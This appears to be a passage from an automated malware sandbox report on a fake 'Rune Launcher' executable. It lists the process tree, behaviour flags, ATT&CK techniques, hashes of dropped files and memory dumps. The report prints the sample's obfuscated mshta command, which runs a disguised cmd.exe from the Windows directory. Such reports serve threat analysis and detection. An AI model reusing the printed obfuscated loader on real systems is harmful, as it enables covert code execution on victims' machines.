'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - Drops file in Windows directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5404
- - C:\Windows\SysWOW64\dllhost.exe
    C:\Windows\SysWOW64\dllhost.exe /Processid:{e6aa73e6-6a06-4bf3-a195-f4977b5c7b1f}
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2764

C:\Users\Admin\Downloads\Rune\Rune Launcher.bat.exe
"C:\Users\Admin\Downloads\Rune\Rune Launcher.bat.exe"
1⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1916

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --gpu-preferences=UAAAAAAAAADoAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAACQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2752 --field-trial-handle=1924,i,6038641820934767461,14416307313191331222,131072 /prefetch:2
1⤵
- Suspicious behavior: EnumeratesProcesses
PID:4572

C:\Windows\system32\taskmgr.exe
"C:\Windows\system32\taskmgr.exe" /4
1⤵
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:5172

C:\Windows\$sxr-mshta.exe
C:\Windows\$sxr-mshta.exe "javascript:document['wr'+'it'+'e']('<h'+'tm'+'l>'+'<s'+'cr'+'ip'+'t\x20'+'la'+'ng'+'ua'+'ge'+'=\x22'+'VB'+'Sc'+'ri'+'pt'+'\x22>'+'Se'+'t\x20'+'ob'+'jS'+'he'+'ll'+'\x20='+'\x20C'+'re'+'at'+'eO'+'bj'+'ec'+'t('+'\x22W'+'Sc'+'ri'+'pt'+'.S'+'he'+'ll'+'\x22)'+'\x20:'+'\x20o'+'bj'+'Sh'+'el'+'l.'+'Ru'+'n\x20'+'\x22C:\\Windows\\$sxr-c'+'md'+'.e'+'xe'+'\x20/'+'c %'+'$sxr-ivkHnyDhFxrjOkRYhXDt4312:&#<?=%'+'\x22,'+'\x200'+',\x20'+'Tr'+'ue'+'</'+'sc'+'ri'+'pt'+'><'+'/h'+'tm'+'l>');close();"
1⤵
- Executes dropped EXE
PID:4972

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Network Persistent State

Filesize
1KB

MD5
e2e294655c07fde908f567adac7d7db8

SHA1
5bdadbfcd89391b32331458e4f177ef68ea91ca0

SHA256
c9574e0da2d34dfa91b1eb36dd797e42ed5ce1c24277b05fab7f14874adafa3a

SHA512
48977425c41ff066fcbf4130e4c2fc0947468da287c47eb1709f58d3ddfcb04e81c12732f032ad83f2db3d4a5e15bde14c5615a9ebd72b5a7d4ddc45328aec90

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\TransportSecurity

Filesize
371B

MD5
592b1486352dacd70a4accbff4102f9b

SHA1
8aff1913e4db1f51909ba59fcca9a603ff0fceb2

SHA256
3efb44208e448d03065ea3ab32c402db55d0c4bbaccdaf3f3426446e4c55470f

SHA512
7e6ad2dcb22e269feafe5dfe01526d9770d876cb4c39ccb5da2c44110dfeb21d7ee8e028c117fd6677b598c6a99027d68a66e25cb04774e3d1dbf4137a198d85

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Filesize
152B

MD5
0629525c94f6548880f5f3a67846755e

SHA1
40ef667fc04bb1c0ae4bf2c17ded88594f0f4423

SHA256
812576f4a24f399abbd54b83ba7f404f021d4a7d2ec0fd2f988ebf4cbf8477ee

SHA512
f74d2e4a65a152f46852eb78dd70a958fdfb8c14e060ca41ffa783b7362e44659cc5fc73f59f3edb1f1d817000b85de7c1860512aa65d937eb5a0a8d9e5890fa

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index

Filesize
96B

MD5
7c60ff87d43a44e52af3155d65d7a6ec

SHA1
927690eba9e461e0d4190e6aa92afcd9244b3fb2

SHA256
ff517998fd33928c7bc49eaf62188096cdc50dec9cc31d1bbfaab794f12cbeae

SHA512
cd63198d1f46bec23642a73b9a0b5a1d1cbe0656524028a30bebebe2d1f3ec993a99114c6435a58d8c7a0c1b323fffad1c9574051d03539081f0c6d2a24f53fa

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network Persistent State

Filesize
111B

MD5
285252a2f6327d41eab203dc2f402c67

SHA1
acedb7ba5fbc3ce914a8bf386a6f72ca7baa33c6

SHA256
5dfc321417fc31359f23320ea68014ebfd793c5bbed55f77dab4180bbd4a2026

SHA512
11ce7cb484fee66894e63c31db0d6b7ef66ad0327d4e7e2eb85f3bcc2e836a3a522c68d681e84542e471e54f765e091efe1ee4065641b0299b15613eb32dcc0d

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network Persistent State

Filesize
1KB

MD5
1c2f134ed04048ace685ccdfb9e319d6

SHA1
022bee68a05f6039d5828127387b74232c5cc6ef

SHA256
1638bdfcb961bfec7a5b77d48d7b75c6c139d725a601a4c64ad92acfa750bda5

SHA512
9b8c631759ebebbe2a94a6e851b9441f7e855cec60e8b2aae7233b09b94e7c1b2aeef0cb8159cacf21a8841514ce9258223267013ef2d927c172568c41ecae70

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
5KB

MD5
61792edf7522a4609db1af729ec7435e

SHA1
1c438d9606f2fbf306bad4fdf1c7373a6ea5f6e6

SHA256
f82cabfbb11615256bab9bab4f164d7a797320093caa8eb4cdd9c22206349fb2

SHA512
24e00a52854880ba773ccef5b91c0d16522b81eefc6815c2be3ec2d2af6113d19fe447f714e574562d4d4b17997c457a7a8a80d30316549d39af7d9a6a7cec94

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
6KB

MD5
446b36c90e98124d06c5ec0d33a75aa7

SHA1
ff3922bc2b4041a961c1f2e49d11bc639fe65d04

SHA256
ac00e43b473becb45f7239cf8122cb0e2f704ef5312db4b6df65480a108a9777

SHA512
f381eb7e22570630b5a686fbe4c47a5f613a5622be5c912263a48a3c07e80b8bdcba84f687151e78feb208a8704b92b4eaddbdefe49ff8112e9a7cb2a257de98

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
5KB

MD5
535ed7dc2d6b641879b2de0e1719397e

SHA1
05fd26ccaa58ac3e2640c432a63993895011b1a8

SHA256
4c71c3b4a2283f0cf93afcf48730a2a23273f0fdb87b244e1986b62c71443764

SHA512
902ac655b20797acdfd4942628cd3a597b994b38041e9cff25ef1e54f128addc5c122f31337df28491dff58eb8ba65367d228b4c1b17a466ce7b88da50ea0446

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
6KB

MD5
580c2e78a62ed0e05447ce73e04d934e

SHA1
7eb170a00d6de583a9804a4d2f523040d9d99df9

SHA256
70d57463f54b9efbe6e97cd200b87641e4b6203f38140b9dcf797b5d13b5dfc7

SHA512
f6a46f7b9dff89b00721ead1e205188450a42a13a223e1f2bb8bc0131f57ff26e51f406ce6dd9f959e117df82e2f885d3079281ec8ab3d7b71a4e975bce5abef

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences

Filesize
24KB

MD5
fd20981c7184673929dfcab50885629b

SHA1
14c2437aad662b119689008273844bac535f946c

SHA256
28b7a1e7b492fff3e5268a6cd480721f211ceb6f2f999f3698b3b8cbd304bb22

SHA512
b99520bbca4d2b39f8bedb59944ad97714a3c9b8a87393719f1cbc40ed63c5834979f49346d31072c4d354c612ab4db9bf7f16e7c15d6802c9ea507d8c46af75

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\CURRENT

Filesize
16B

MD5
6752a1d65b201c13b62ea44016eb221f

SHA1
58ecf154d01a62233ed7fb494ace3c3d4ffce08b

SHA256
0861415cada612ea5834d56e2cf1055d3e63979b69eb71d32ae9ae394d8306cd

SHA512
9cfd838d3fb570b44fc3461623ab2296123404c6c8f576b0de0aabd9a6020840d4c9125eb679ed384170dbcaac2fa30dc7fa9ee5b77d6df7c344a0aa030e0389

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
10KB

MD5
d2c4cf1688989452c17a43e2d0420183

SHA1
6ec5feea357818db4787bb68de1027f075105767

SHA256
0a82ad8ffb9a30edb243d4ffd80deb7e80820f335aac5ab29a0ea428637210c1

SHA512
410992cfaecc719bb7b04f6b3c265bc21acf779f3bb94f6f593f53945d5f912a4dbc4a2162bbef031e9f412c1b72b7cce87f2bbad160b07aae0c87a3458b0691

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
12KB

MD5
9726f4f978ee19771378927a2558d9ac

SHA1
0cfb5888aeb1f69f8705bbd199e5fafac284862c

SHA256
a0d27f9cd48956762770bc72e54fb1349cb6fc9488535def328d5d3a4a4837f1

SHA512
5623d4abd3e43bdd26ad532550d11daacea4995519a50e0fd03c0d4266ea3c6a2656998f8bbfb80b3a5df94eff06b8197ba990c18c6e2149ea245bcfd4e5021e

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
10KB

MD5
75bea0fad3b4aa8f604f9cbf02357aa9

SHA1
c6f4673d42013ad947802638bf607299c0deebdf

SHA256
0227a212ccfbda077d8f1d16c6be67cf314d95459561395c11e6016f4e3ce4f6

SHA512
21a552b5981a098352724713caad9bfcca8180532caec3375fb751a1832fcd06d7a04e616cd06dd4bdf7f2743af904566e211b92357f43d41fbb7dc61c20d029

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_laoub2sj.0wh.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\Downloads\Rune\Rune Launcher.bat.exe

Filesize
442KB

MD5
04029e121a0cfa5991749937dd22a1d9

SHA1
f43d9bb316e30ae1a3494ac5b0624f6bea1bf054

SHA256
9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f

SHA512
6a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b

Download Submit
C:\Users\Admin\Downloads\Rune\Rune Launcher.bat.exe

Filesize
442KB

MD5
04029e121a0cfa5991749937dd22a1d9

SHA1
f43d9bb316e30ae1a3494ac5b0624f6bea1bf054

SHA256
9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f

SHA512
6a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b

Download Submit
C:\Users\Admin\Downloads\Rune\Rune Launcher.bat.exe

Filesize
442KB

MD5
04029e121a0cfa5991749937dd22a1d9

SHA1
f43d9bb316e30ae1a3494ac5b0624f6bea1bf054

SHA256
9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f

SHA512
6a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b

Download Submit
C:\Users\Admin\Downloads\rune.zip

Filesize
8.1MB

MD5
94ba66645ff3125cf0348bbe11cb220b

SHA1
ec2d65f3e7924dc6c86a240c348741bd874c0e83

SHA256
f85b2c8cbde15be31b00519d2f2f4ec3b0ff368541662f5f1f547941df0a838f

SHA512
caaa5fc8ad980acecfc546446404cd38e4cbfe073ef859acc41afd7456c2bb64e469aed8d7877b134bc56b2dbcd8b83ae1fe973026bac933629686dbb40563af

Download Submit
C:\Windows\$sxr-cmd.exe

Filesize
283KB

MD5
8a2122e8162dbef04694b9c3e0b6cdee

SHA1
f1efb0fddc156e4c61c5f78a54700e4e7984d55d

SHA256
b99d61d874728edc0918ca0eb10eab93d381e7367e377406e65963366c874450

SHA512
99e784141193275d4364ba1b8762b07cc150ca3cb7e9aa1d4386ba1fa87e073d0500e61572f8d1b071f2faa2a51bb123e12d9d07054b59a1a2fd768ad9f24397

Download Submit
C:\Windows\$sxr-mshta.exe

Filesize
14KB

MD5
0b4340ed812dc82ce636c00fa5c9bef2

SHA1
51c97ebe601ef079b16bcd87af827b0be5283d96

SHA256
dba3137811c686fd35e418d76184070e031f207002649da95385dfd05a8bb895

SHA512
d9df8c1f093ea0f7bde9c356349b2ba43e3ca04b4c87c0f33ab89dda5afe9966313a09b60720aa22a1a25d43d7c71a060af93fb8f6488201a0e301c83fa18045

Download Submit
C:\Windows\$sxr-powershell.exe

Filesize
442KB

MD5
04029e121a0cfa5991749937dd22a1d9

SHA1
f43d9bb316e30ae1a3494ac5b0624f6bea1bf054

SHA256
9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f

SHA512
6a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b

Download Submit
\??\c:\windows\$sxr-mshta.exe

Filesize
14KB

MD5
0b4340ed812dc82ce636c00fa5c9bef2

SHA1
51c97ebe601ef079b16bcd87af827b0be5283d96

SHA256
dba3137811c686fd35e418d76184070e031f207002649da95385dfd05a8bb895

SHA512
d9df8c1f093ea0f7bde9c356349b2ba43e3ca04b4c87c0f33ab89dda5afe9966313a09b60720aa22a1a25d43d7c71a060af93fb8f6488201a0e301c83fa18045

Download Submit
memory/1916-229-0x0000025F547D0000-0x0000025F54846000-memory.dmp

Filesize
472KB

Download
memory/1916-217-0x0000025F521F0000-0x0000025F52200000-memory.dmp

Filesize
64KB

Download
memory/1916-216-0x0000025F521F0000-0x0000025F52200000-memory.dmp

Filesize
64KB

Download
memory/1916-227-0x0000025F54700000-0x0000025F54744000-memory.dmp

Filesize
272KB

Download
memory/1916-228-0x0000025F521F0000-0x0000025F52200000-memory.dmp

Filesize
64KB

Download
memory/1916-215-0x00007FFDD87F0000-0x00007FFDD92B1000-memory.dmp

Filesize
10.8MB

Download
memory/1916-247-0x00007FFDD87F0000-0x00007FFDD92B1000-memory.dmp

Filesize
10.8MB

Download
memory/2764-279-0x0000000000400000-0x0000000000406000-memory.dmp

Filesize
24KB

Download
memory/2764-277-0x0000000000400000-0x0000000000406000-memory.dmp

Filesize
24KB

Download
memory/5172-262-0x0000025FF5B20000-0x0000025FF5B21000-memory.dmp

Filesize
4KB

Download
memory/5172-261-0x0000025FF5B20000-0x0000025FF5B21000-memory.dmp

Filesize
4KB

Download
memory/5172-263-0x0000025FF5B20000-0x0000025FF5B21000-memory.dmp

Filesize
4KB

Download
memory/5172-252-0x0000025FF5B20000-0x0000025FF5B21000-memory.dmp

Filesize
4KB

Download
memory/5172-253-0x0000025FF5B20000-0x0000025FF5B21000-memory.dmp

Filesize
4KB

Download
memory/5172-251-0x0000025FF5B20000-0x0000025FF5B21000-memory.dmp

Filesize
4KB

Download
memory/5172-257-0x0000025FF5B20000-0x0000025FF5B21000-memory.dmp

Filesize
4KB

Download
memory/5172-258-0x0000025FF5B20000-0x0000025FF5B21000-memory.dmp

Filesize
4KB

Download
memory/5172-259-0x0000025FF5B20000-0x0000025FF5B21000-memory.dmp

Filesize
4KB

Download
memory/5172-260-0x0000025FF5B20000-0x0000025FF5B21000-memory.dmp

Filesize
4KB

Download
memory/5404-249-0x00007FFE00530000-0x00007FFE00725000-memory.dmp

Filesize
2.0MB

Download
memory/5404-273-0x000001ED81170000-0x000001ED8117A000-memory.dmp

Filesize
40KB

Download
memory/5404-248-0x000001ED98000000-0x000001ED98024000-memory.dmp

Filesize
144KB

Download
memory/5404-264-0x000001ED802C0000-0x000001ED80D10000-memory.dmp

Filesize
10.3MB

Download
memory/5404-265-0x000001EDD6D50000-0x000001EDD6D60000-memory.dmp

Filesize
64KB

Download
memory/5404-266-0x00007FFDEB8B0000-0x00007FFDEB8C9000-memory.dmp

Filesize
100KB

Download
memory/5404-267-0x000001ED80D20000-0x000001ED80DC6000-memory.dmp

Filesize
664KB

Download
memory/5404-268-0x000001ED80DD0000-0x000001ED80E26000-memory.dmp

Filesize
344KB

Download
memory/5404-269-0x000001ED80E30000-0x000001ED80E88000-memory.dmp

Filesize
352KB

Download
memory/5404-270-0x000001ED80E90000-0x000001ED80EB2000-memory.dmp

Filesize
136KB

Download
memory/5404-271-0x00007FFE00530000-0x00007FFE00725000-memory.dmp

Filesize
2.0MB

Download
memory/5404-250-0x00007FFE00430000-0x00007FFE004EE000-memory.dmp

Filesize
760KB

Download
memory/5404-199-0x000001EDF10A0000-0x000001EDF10C2000-memory.dmp

Filesize
136KB

Download
memory/5404-209-0x00007FFDD87F0000-0x00007FFDD92B1000-memory.dmp

Filesize
10.8MB

Download
memory/5404-244-0x00007FFDD87F0000-0x00007FFDD92B1000-memory.dmp

Filesize
10.8MB

Download
memory/5404-212-0x000001EDD6D50000-0x000001EDD6D60000-memory.dmp

Filesize
64KB

Download
memory/5404-280-0x000001EDD6D50000-0x000001EDD6D60000-memory.dmp

Filesize
64KB

Download
memory/5404-211-0x000001EDD6D50000-0x000001EDD6D60000-memory.dmp

Filesize
64KB

Download
memory/5404-210-0x000001EDD6D50000-0x000001EDD6D60000-memory.dmp

Filesize
64KB

Download
memory/5836-276-0x0000000140000000-0x0000000140004000-memory.dmp

Filesize
16KB

Download
memory/5836-274-0x0000000140000000-0x0000000140004000-memory.dmp

Filesize
16KB

Download